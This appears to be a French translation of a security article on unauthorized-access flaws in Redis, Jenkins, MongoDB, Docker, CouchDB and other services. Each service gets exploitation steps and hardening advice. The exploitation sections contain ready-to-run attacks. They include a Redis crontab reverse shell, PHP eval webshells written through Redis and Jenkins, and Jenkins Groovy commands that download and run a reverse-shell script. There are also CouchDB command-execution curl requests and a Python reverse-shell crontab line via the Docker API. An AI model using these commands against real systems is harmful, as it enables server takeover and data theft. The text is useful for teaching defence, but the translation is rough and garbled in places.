Préface
En mai de cette année, le ransomware Bitcoin WannaCry a balayé le monde et les systèmes informatiques de nombreuses institutions nationales ont été paralysés. Selon une précédente analyse de cas de réponse d'urgence et certaines statistiques de rapport de sécurité, la plupart des ransomwares actuels utilisent des vulnérabilités générales telles que l'accès non autorisé pour l'implantation et l'extorsion, en particulier les vulnérabilités d'accès non autorisé de bases de données telles que Redis et MongoDB sont particulièrement graves. Voir «[Pulse Translation Series] Comment gérer efficacement les ransomwares»
0x01 introduction
L'accès non autorisé peut être compris comme un défaut de la page d'adresse ou d'autorisation qui nécessite une configuration de sécurité ou une authentification d'autorisation, ce qui conduit à un accès direct par d'autres utilisateurs, ce qui conduit à la divulgation d'informations sensibles telles que des autorisations importantes, des bases de données et des répertoires de sites Web.
Actuellement, il existe principalement des vulnérabilités d'accès non autorisées: service NFS, service Samba, LDAP, Rsync, FTP, GitLab, Jenkins, MongoDB, Redis, ZooKeeper, ElasticSearch, Memcache, CouchDB, Docker, Solr, Hadoop, Dubbo, etc. introduit un accès non autorisé à certains des services actuellement les plus couramment utilisés, bienvenue à ajouter!
0x02 Redis accès non autorisé
2.1 Description de la vulnérabilité
Redis est accessible sans autorisation en raison d'une configuration incorrecte. Les attaquants n'ont pas besoin d'être authentifiés pour accéder aux données internes, ce qui peut conduire à la divulgation d'informations sensibles. Ils peuvent également exécuter de manière malveillante fluxhall pour effacer toutes les données. Si Redis s'exécute en tant que root, vous pouvez écrire le fichier de clé publique SSH sur le compte root et vous connecter au serveur victime directement via SSH.
2.2 Exploiter
1. Utilisez des tâches planifiées pour exécuter des commandes pour inverser le shell
Lorsque redis est exécuté avec les privilèges root, vous pouvez écrire crontab pour exécuter des commandes. Inverser le shell
Écoutez d'abord sur un port de votre propre serveur
nc -lvnp 4444
Puis exécutez la commande:
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
2. Ecrivez la clé publique ssh-keygen pour vous connecter au serveur
Cette méthode peut être utilisée dans les conditions suivantes
- Le service Redis est démarré avec le compte root
- Le serveur ouvre le service SSH et permet l'utilisation de la connexion par clé, vous pouvez écrire à distance une clé publique et vous connecter directement au serveur distant. Référence spécifique pour cette méthode: une configuration redis incorrecte peut directement entraîner le contrôle du serveur
3. Obtenez le Webshell du service Web
Lorsque les autorisations Redis ne sont pas élevées et que le serveur exécute un service Web, lorsque Redis dispose des autorisations d'écriture sur le répertoire Web, vous pouvez essayer d'écrire Webshell sur le chemin Web.
Exécutez la commande suivante
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
Vous pouvez écrire le shell dans le répertoire Web
2.3 Renforcement de la vulnérabilité
Vous pouvez configurer le fichier redis.conf dans le répertoire d'installation
1. Par défaut, ouvrez uniquement la
liaison 127.0.0.1 localement
2. Ajoutez le mot de passe de connexion
requirepass www.secpulse.com
3. Modifiez le port par défaut du port
2333 lorsqu'il doit être ouvert au monde extérieur
4. Enfin, vous pouvez également coopérer avec iptables pour limiter l'ouverture
0x03 Accès non autorisé à Jenkins
3.1 Description de la vulnérabilité
Par défaut, les utilisateurs du panneau Jenkins peuvent choisir d'exécuter l'interface de script pour exécuter certaines commandes au niveau du système. Les attaquants peuvent accéder à l'interface d'exécution de script via des vulnérabilités d'accès non autorisées ou le craquage par force brute des mots de passe des utilisateurs pour obtenir les autorisations du serveur.
3.2 Exploitation de la vulnérabilité
1. Jenkins n'est pas autorisé à accéder aux commandes exécutables
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
println "ifconfig -a".execute().text
Exécutez certaines commandes système
Téléchargement direct de wget back.py Shell inversé
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
back.py ne nécessite pas d'autorisations root
Je ne veux pas rebondir, essayez le plugin Terminal
2. Jenkins n'est pas autorisé à accéder au shell d'écriture
jenskins est un projet web java, nous utilisons la classe java File pour écrire des fichiers
new File("c://temp//secpulse.txt").write("""
1
2
3
""");
Créez un nouveau 1.txt avec le contenu 1, 2, 3 (chaque ligne) dans le dossier temporaire du lecteur c et exécutez la commande suivante. println “powershell dir c:\temp”.execute().text
Si l'écriture réussit, secpulse.txt sera dans le résultat de retour!
wget 写 webshell
1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//参数-n 不要在最后自动换行
Résultat: 0 signifie une écriture réussie Résultat: 1 signifie que le répertoire n'existe pas ou que les autorisations sont insuffisantes, un échec d'écriture Résultat: 2 signifie que la structure a un échec d'écriture anormal
Pour d'autres méthodes d'utilisation détaillées spécifiques, reportez-vous à: Jenkins Hacking, connaissant le premier et ne connaissant pas le second
3.3 Renforcement de la vulnérabilité
1. Il est interdit d'exposer Jenkins directement sur le réseau public
2. Ajoutez l'authentification, définissez la complexité du mot de passe et le verrouillage du compte.
0x04 MongoDB accès non autorisé
4.1 Description de la vulnérabilité
Lorsque vous démarrez le service MongoDB sans ajouter de paramètres, la valeur par défaut est qu'il n'y a pas de vérification d'autorisation et que la base de données est accessible à distance. L'utilisateur connecté peut effectuer toutes les opérations à haut risque telles que l'ajout, la suppression, la modification et vérification de la base de données via le port par défaut sans mot de passe.
4.2 Exploitation de la vulnérabilité
4.3 Renforcement de la vulnérabilité
1. Ajoutez une authentification pour MongoDB:
1) Ajoutez le paramètre --auth au démarrage de MongoDB
2) Ajouter des utilisateurs à MongoDB:
utiliser la bibliothèque admin #Use admin
db.addUser ("root", "123456") #Ajouter l'utilisateur avec le nom d'utilisateur root et le mot de passe 123456
db.auth ("root", "123456") #Vérifiez si l'ajout est réussi, retournez 1 pour indiquer le succès
2. Désactivez les ports HTTP et REST
MongoDB est livré avec un service HTTP et prend en charge l'interface REST. Après 2.6, ces interfaces sont fermées par défaut. Par défaut, mongoDB utilisera le port par défaut pour surveiller les services Web. En règle générale, la gestion à distance via le Web n'est pas requise. Il est recommandé de la désactiver. Sélectionnez ou modifiez le fichier de configuration au démarrage des –nohttpinterface
paramètresnohttpinterface=false
3. Restreindre l'IP de liaison
Ajouter des paramètres au démarrage--bind_ip 127.0.0.1
Ou /etc/mongodb.conf
ajoutez ce qui suit au fichier:bind_ip = 127.0.0.1
0x05 Accès non autorisé à ZooKeeper
5.1 Description de la vulnérabilité
Le port ouvert par défaut de Zookeeper est 2181. Une fois Zookeeper installé et déployé, aucune authentification n'est requise par défaut, ce qui oblige un attaquant à utiliser à distance Zookeeper pour collecter des informations sensibles via le serveur ou les détruire dans le cluster Zookeeper (par exemple, la commande kill). L'attaquant peut exécuter toutes les commandes qui ne peuvent être exécutées que par l'administrateur.
5.2 Exploitation de la vulnérabilité
Exécutez la commande suivante pour obtenir l'environnement du serveur à distance: echo envi | nc ip port
Connexion directe: ./zkCli.sh -server ip: port
5.3 Renforcement de la vulnérabilité
1. Il est interdit d'exposer Zookeeper directement sur le réseau public
2. Ajoutez un contrôle d'accès, sélectionnez la méthode correspondante en fonction de la situation (utilisateur authentifié, nom d'utilisateur et mot de passe)
3. Liaison d'accès IP désigné
0x06 Accès non autorisé à Elasticsearch
6.1 Description de la vulnérabilité
Elasticsearch est un service de recherche de niveau entreprise écrit en java. De plus en plus d'entreprises utilisent ELK pour l'analyse des journaux. Le démarrage de ce service ouvrira le port 9200 par défaut, qui peut être utilisé pour manipuler des données illégalement.
6.2 Exploitation de la vulnérabilité
Détection de vulnérabilité: port par défaut 9200
Cela équivaut à une API. Toute personne visitant cette adresse peut appeler l'API pour ajouter, supprimer et modifier des données.
http: // xxxx: 9200 / _nodes
http: // xxxx: 9200 / _river
6.3 Durcissement de la vulnérabilité
1. Le pare-feu est configuré pour interdire l'accès au réseau externe au port 9200.
2. Utilisez Nginx pour créer un proxy inverse et configurez Nginx pour authentifier Elasticsearch
3. Restreindre l'accès IP et lier une adresse IP fixe
4. config/elasticsearch.yml
Définissez l'authentification pour le port 9200 dans:
http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
0x07 Accès non autorisé à Memcache
7.1 Description de la vulnérabilité
Memcached est un système de mise en cache clé-valeur couramment utilisé. Comme il ne dispose pas de module de contrôle des autorisations, le service Memcache ouvert sur le réseau public peut être facilement analysé par les attaquants. Les attaquants peuvent directement lire les informations sensibles dans Memcached via une interaction de commande.
7.2 Exploitation de la vulnérabilité
1. Connectez-vous à la machine et exécutez des netstat -an |more
commandes pour vérifier l'état de surveillance du port. L'écho 0.0.0.0:11211 signifie que toutes les cartes réseau écoutent et qu'il existe une vulnérabilité d'accès non autorisé à Memcached.
2., telnet <target> 11211
ou nc -vv <target> 11211
, un message indiquant que la connexion est réussie indique que la vulnérabilité existe
7.3 Renforcement de la vulnérabilité
1. Définissez memchached pour autoriser uniquement l'accès local
2. Interdisez l'accès réseau externe au port 11211 de Memcached
3. Ajoutez –enable-sasl lors de la compilation pour activer l'authentification SASL
0x08 Accès non autorisé à Hadoop
8.1 Description de la vulnérabilité
Étant donné que le serveur a directement ouvert le port Web 50070 de la machine Hadoop HDFS et certains des ports de service par défaut, les pirates peuvent manipuler des données dans plusieurs répertoires via la ligne de commande, comme la suppression, le téléchargement, la navigation dans les répertoires et même l'exécution de commandes.
8.2 Exploitation de la vulnérabilité
Le port de service correspondant aux principaux HDFS et MapReduce WebUI.
La chose la plus importante est que si le port par défaut de DataNode 50075 est ouvert, l'attaquant peut utiliser l'API de repos fournie par hdfs pour exploiter les données de stockage hdfs.
Référence api reposante: http://hadoop.apache.org/docs/r1.0.4/webhdfs.html
8.3 Renforcement de la vulnérabilité
1. Si cela n'est pas nécessaire, fermez la page de gestion Web Hadoop.
2. Activez la vérification d'identité pour empêcher les utilisateurs non autorisés d'accéder
3. Configurez la stratégie de contrôle d'accès "Groupe de sécurité" et bloquez tous les ports ouverts par Hadoop par défaut sur le réseau public ou limitez les adresses IP de confiance pour accéder aux ports associés, y compris 50070 et WebUI. La liste détaillée des ports est la suivante:
a)HDFS
-
NameNode port par défaut 50070
-
Port par défaut de DataNode 50075
-
port par défaut httpfs 14000
-
port par défaut de journalnode 8480
b) YARN (JobTracker)
-
Port par défaut de ResourceManager 8088
-
Port par défaut de JobTracker 50030
-
Port par défaut de TaskTracker 50060
c) Port 8080 par défaut de Hue
d) YARN (JobTracker)
-
port principal par défaut 60010
-
port par défaut de regionserver 60030
e) port par défaut 10000 de hive-server2
f) port par défaut de spark-jdbcserver 10003
0x09 Accès non autorisé à CouchDB
9.1 Description de la vulnérabilité
CouchDB ouvre l'interface API de Restful sur le port 5984 par défaut pour les fonctions de gestion de base de données. Son serveur HTTP n'est pas authentifié lorsqu'il est activé par défaut et il est lié à 0.0.0.0. Tous les utilisateurs peuvent y accéder via l'API et provoquer un accès non autorisé. Toute personne connectée au port du serveur peut appeler l'API appropriée pour ajouter, supprimer, modifier et vérifier les données sur le serveur à volonté. La modification du fichier de configuration local.ini via l'API peut entraîner l'exécution de toutes les commandes système et obtenir les autorisations du serveur. !
9.2 Exploitation de la vulnérabilité
Ajout de la configuration de query_server, exécutez la commande ifconfig ici
curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
Créer une nouvelle table temporaire, insérer un enregistrement
curl -X PUT 'http://x.x.x.x:5984/vultest'
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
Appelez query_server pour traiter les données
curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
Bien sûr, vous pouvez également exécuter directement d'autres commandes et en télécharger d'autres
9.3 Durcissement de la vulnérabilité
1. Spécifiez l'adresse IP liée à CouchDB (vous devez redémarrer CouchDB pour prendre effet) Recherchez "bind_address = 0.0.0.0" dans le fichier /etc/couchdb/local.ini, modifiez 0.0.0.0 en 127.0.0.1 et enregistrez. Remarque: après modification, seule cette machine peut accéder à CouchDB.
2. Définissez le mot de passe d'accès (vous devez redémarrer CouchDB pour prendre effet) Recherchez le champ "[admins]" dans /etc/couchdb/local.ini pour configurer le mot de passe
0x010 Accès non autorisé à Docker
10.1 Description de la vulnérabilité
L'API Docker Remote est une API REST qui remplace l'interface de ligne de commande distante (rcli). Cette API est accessible par requête directe via le client docker ou http. Grâce à cette interface, nous pouvons créer un nouveau conteneur, supprimer un conteneur existant ou même récupérer le shell de l'hôte.
10.2 Exploitation de la vulnérabilité
http://192.168.198.130:2375/v1.25/images/json Vous pouvez obtenir une liste de toutes les images
http: // hôte: 2375 / containers / json
Il renverra la liste des conteneurs en cours d'exécution sur le serveur. Cela a le même effet que l'exécution de docker ps sur la CLI de docker. Après le package Post, nous pouvons également créer, ouvrir et fermer des conteneurs. D'autres opérations telles que l'extraction d'images peuvent également être effectué via des appels API.
$ curl http://10.10.10.10:2375/containers/json
[]
docker -H = tcp: //10.10.10.10: 2375 ps
ID DE CONTENEUR COMMANDE D'IMAGE ÉTAT CRÉÉ NOMS DES PORTS
Le principe d'attaque de l'accès non autorisé à l'API distant de Docker est similaire aux vulnérabilités d'accès non autorisé Redis précédentes. Elles sont toutes utilisées pour écrire des fichiers sur le serveur exécutant l'application afin d'obtenir les autorisations du serveur. Les méthodes d'exploitation courantes sont les suivantes:
1. Démarrez un conteneur, montez le répertoire / root / de l'hôte, puis écrivez le contenu de la clé publique ssh de l'attaquant ~ / .ssh / id_rsa.pub dans le /root/.ssh/authorized_keys
fichier de l' hôte , puis vous pouvez utiliser le compte root directement connecté
2. Démarrez un conteneur, montez le répertoire / etc / de l'hôte, puis écrivez le script du shell de rebond dans / etc / crontab. L'attaquant obtiendra un shell de rebond. Des exemples de script du shell de rebond sont les suivants :
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
La deuxième méthode d'utilisation peut également monter le répertoire var / spool / cron / et écrire le script du shell de rebond dans / var / spool / cron / root (système centos) ou / var / spool / cron / crontabs / root (ubuntu système)
10.3 Durcissement de la vulnérabilité
1. Si ce n'est pas nécessaire, n'activez pas le service API distant de docker. Si vous devez l'utiliser, vous pouvez utiliser les méthodes de renforcement suivantes:
Définissez ACL pour autoriser uniquement les connexions IP source approuvées;
Configurez l'authentification TLS, le document officiel est Protéger le socket du démon Docker
2. Lorsque le client se connecte, les variables d'environnement suivantes doivent être définies export DOCKER_TLS_VERIFY = 1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3. Ajoutez un proxy devant le serveur api docker, tel que nginx, et définissez l'authentification 401
Pièce jointe: accès non autorisé Python aux scripts
Ce script n'a pas été testé, merci de modifier le test et de l'utiliser selon vos propres besoins!
Article de référence
- https://www.secpulse.com/archives/55928.html
- https://www.secpulse.com/archives/49115.html
- https://www.secpulse.com/archives/6540.html
- https://xianzhi.aliyun.com/forum/mobile/read/750.html
- https://book.thief.one/webying-yong-lou-dong/136-elasticsearchwei-shou-quan-fang-wen-lou-dong.html
- https://www.secpulse.com/archives/2166.html
- https://github.com/findys/sunburst/
- https://yeasy.gitbooks.io/docker_practice/